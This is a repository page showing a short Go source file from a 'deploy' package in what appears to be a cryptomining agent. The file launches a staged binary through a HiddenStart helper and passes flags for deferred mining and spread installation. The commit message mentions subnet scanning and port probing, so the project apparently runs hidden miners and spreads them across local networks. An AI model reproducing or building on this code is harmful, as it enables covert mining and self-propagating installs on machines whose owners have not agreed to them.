Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Mock probePorts in scale limit tests so ScanLocalSubnet does not hang on live TCP dials; add erasure_codec error-path coverage from 0445b7e/d18c591 gaps.
24 lines
515 B
Go
24 lines
515 B
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
)
|
|
|
|
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
|
_ = launch
|
|
_ = dllExport
|
|
args := []string{runFlag}
|
|
if deferMining {
|
|
args = append(args, deferMiningFlag)
|
|
}
|
|
if spreadInstall {
|
|
args = append(args, spreadFlag)
|
|
}
|
|
if err := HiddenStart(dest, args...); err != nil {
|
|
return "", fmt.Errorf("exe launch: %w", err)
|
|
}
|
|
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
|
|
}
|